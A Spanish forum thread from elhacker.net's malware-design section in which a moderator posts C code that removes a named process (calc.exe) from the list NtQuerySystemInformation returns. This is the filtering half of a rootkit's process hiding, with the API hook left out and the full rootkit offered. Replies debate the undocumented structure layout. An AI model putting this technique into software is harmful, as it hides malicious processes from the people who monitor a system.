elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  [FILTRO] Ocultando procesos a NtQuerySystemInformacion
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [FILTRO] Ocultando procesos a NtQuerySystemInformacion  (Leído 4,057 veces)
fary
Moderador
***
Desconectado Desconectado

Mensajes: 1.076



Ver Perfil WWW
[FILTRO] Ocultando procesos a NtQuerySystemInformacion
« en: 6 Febrero 2016, 08:03 am »

No es el código completo, ya que sería todo demasiado masticado  :xD peeero, lo que queda de implementar (el hook a la api) se puede hacer fácilmente siguiendo mi tutorial sobre ello.

Esto es solo un ejemplo de cómo sería el filtro para ocultar procesos a dicha API (la que usa el admin de tareas para listar los procesos)  >:D

Si abrimos  la calculadora de windows (calc.exe) y descomentamos las línea de código vamos a ver como va mostrando todos los procesos menos el que ocultamos nosotros (con el while anterior).

En fin, aquí esta el código.

Código
  1. // Filtro procesos a la API NtQuerySystemInformation
  2. // Juan fary.
  3. // MVSC++ 2008
  4.  
  5. #include <windows.h>
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8.  
  9. typedef struct _SYSTEM_PROCESS_INFORMATION
  10. {
  11.    DWORD NextEntryOffset;
  12. char fary1[56];
  13.    DWORD ImageName;
  14. DWORD fary2;
  15.    LONG BasePriority;
  16.    PVOID UniqueProcessId;
  17. } SYSTEM_PROCESS_INFORMATION;
  18.  
  19. typedef DWORD (WINAPI * _SystemProcessInformation)(DWORD, void*, unsigned long, unsigned long*);
  20.  
  21. int main()
  22. {
  23. _SYSTEM_PROCESS_INFORMATION * spi;
  24. DWORD ret;
  25. char proceso[18] = "c\0a\0l\0c\0.\0e\0x\0e\0\0"; // "calc.exe" en unicode proceso que no se mostrará
  26.  
  27. _SystemProcessInformation __SystemProcessInformation = (_SystemProcessInformation)GetProcAddress(LoadLibraryA("NTDLL.DLL"), "NtQuerySystemInformation");
  28.  
  29. void * buffer = VirtualAlloc(NULL, 1024*1024, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
  30.  
  31. spi = (_SYSTEM_PROCESS_INFORMATION *)buffer;
  32.  
  33. ret = __SystemProcessInformation(5, spi, 1024*1024, NULL);
  34.  
  35.  
  36. //_SYSTEM_PROCESS_INFORMATION * Intacta = spi; // Para comprobar que el hook funciono.
  37.  
  38.  
  39. while(spi->NextEntryOffset) // Filtro para saltar el proceso que nosotros queramos.
  40. {
  41. _SYSTEM_PROCESS_INFORMATION * Viejospi = spi;
  42. spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
  43.  
  44. if (lstrcmpW((LPCWSTR)spi->ImageName,(LPCWSTR)proceso) == 0)
  45. {
  46. Viejospi->NextEntryOffset += (DWORD)spi->NextEntryOffset;
  47. }else{
  48. spi = Viejospi;
  49. spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
  50. }        
  51. }
  52.  
  53. /*spi = Intacta;
  54. while(spi->NextEntryOffset) // Comprobamos que muestra todos los procemos menos el que ocultamos ;P
  55.     {
  56.         MessageBoxW(0, (LPCWSTR) spi->ImageName, 0, 0);
  57.         spi=(_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
  58.     }*/
  59.  
  60. return 0;
  61. }

Sí teneis alguna duda o queréis que ponga el código completo del rootkit avisar, aunque perdería la gracia.

saludos.
« Última modificación: 6 Febrero 2016, 19:33 pm por fary » En línea

Un byte a la izquierda.
Arnaldo Otegi

Desconectado Desconectado

Mensajes: 160


Q290aWxsYVhEDQo=


Ver Perfil
Re: [FILTRO] Ocultando procesos a NtQuerySystemInformacion
« Respuesta #1 en: 6 Febrero 2016, 20:22 pm »

Mui buena fary si señor,un pedazo de aporte como siempre,va para el baul.
En línea

crack81

Desconectado Desconectado

Mensajes: 222



Ver Perfil
Re: [FILTRO] Ocultando procesos a NtQuerySystemInformacion
« Respuesta #2 en: 7 Febrero 2016, 03:27 am »

Hola fary he estado mirando tu codigo, pero no se de donde te sacaste
la estructura system_process_information

segun la documentacion de microsoft es esta
Código
  1. typedef struct _SYSTEM_PROCESS_INFORMATION {
  2.    ULONG NextEntryOffset;
  3.    BYTE Reserved1[52];
  4.    PVOID Reserved2[3];
  5.    HANDLE UniqueProcessId;
  6.    PVOID Reserved3;
  7.    ULONG HandleCount;
  8.    BYTE Reserved4[4];
  9.    PVOID Reserved5[11];
  10.    SIZE_T PeakPagefileUsage;
  11.    SIZE_T PrivatePageCount;
  12.    LARGE_INTEGER Reserved6[6];
  13. } SYSTEM_PROCESS_INFORMATION;

pero obviamente no funciona ya que el tamano de la estructura es diferente me he dado cuenta que a fuerza se necesitan reservan 56 bytes para que la siguiente variable pueda almacenar la direccion del nombre del proceso en este caso para que funcione tengo que comentar la variable reserved2 y reasginar el tamano de reserved1 a 56
algo asi

Código
  1. typedef struct _SYSTEM_PROCESS_INFORMATION
  2. {
  3.    ULONG NextEntryOffset;
  4.    BYTE Reserved1[56];
  5.   // PVOID Reserved2[3];
  6.    HANDLE UniqueProcessId;
  7.    PVOID Reserved3;
  8.    ULONG HandleCount;
  9.    BYTE Reserved4[4];
  10.    PVOID Reserved5[11];
  11.    SIZE_T PeakPagefileUsage;
  12.    SIZE_T PrivatePageCount;
  13.    LARGE_INTEGER Reserved6[6];
  14. } SYSTEM_PROCESS_INFORMATION;
  15.  

Asi si funciona pero algo no cuadra ya que presiento que los valores de la estrucutra que publico microsoft  por algo son y no entiendo porque hay que estar modificandolos o no alcanzo a entenderlo del todo.

la info la he sacado de aqui : https://msdn.microsoft.com/en-gb/library/windows/desktop/ms724509.aspx

ademas cuesta trabajo leer esto
Código
  1. ret = __SystemProcessInformation(5, spi, 1024*1024, NULL);
no se que sicnifica ese cinco, te recomiendo que pongas el enumerado que le corresponde en este caso

Código
  1. typedef enum _SYSTEM_INFORMATION_CLASS
  2. {
  3.    SystemBasicInformation = 0,
  4.    SystemPerformanceInformation = 2,
  5.    SystemTimeOfDayInformation = 3,
  6.    SystemProcessInformation = 5,
  7.    SystemProcessorPerformanceInformation = 8,
  8.    SystemInterruptInformation = 23,
  9.    SystemExceptionInformation = 33,
  10.    SystemRegistryQuotaInformation = 37,
  11.    SystemLookasideInformation = 45
  12. } SYSTEM_INFORMATION_CLASS;
  13.  

y obivamente la llamada seria
Código
  1. __SystemProcessInformation(SystemProcessInformation, spi, 1024*1024, NULL);
En línea

Si C/C++ es el padre de los lenguajes entonces ASM es dios.
fary
Moderador
***
Desconectado Desconectado

Mensajes: 1.076



Ver Perfil WWW
Re: [FILTRO] Ocultando procesos a NtQuerySystemInformacion
« Respuesta #3 en: 8 Febrero 2016, 13:58 pm »

crack81,

La estructura que publica microsoft como habrás podido comprobar no esta completa... vamos, que no sirve para nada esa documentación, te dice que existe pero no sus campos.

http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FSystem%20Information%2FNtQuerySystemInformation.html

Por otra parte, aquí:

Código:
ret = __SystemProcessInformation(5, spi, 1024*1024, NULL);

No he puesto el nombre de la constante pues no sé por que la verdad pero no creo que cueste tanto leerlo, Si quieres saber como funciona la API vas a mirar la documentación y si miras la documentación vas a ver porque es así.

saludos.


« Última modificación: 8 Febrero 2016, 15:33 pm por fary » En línea

Un byte a la izquierda.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ocultando Troyanos en carpetas (Win98)
Tutoriales - Documentación
DesTruçToR 3 16,207 Último mensaje 21 Agosto 2006, 18:42 pm
por mauro89
Ocultando el Tray Icon del No-IP DUC
Tutoriales - Documentación
_R€d_ 9 30,087 Último mensaje 19 Diciembre 2014, 16:44 pm
por cargenio
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines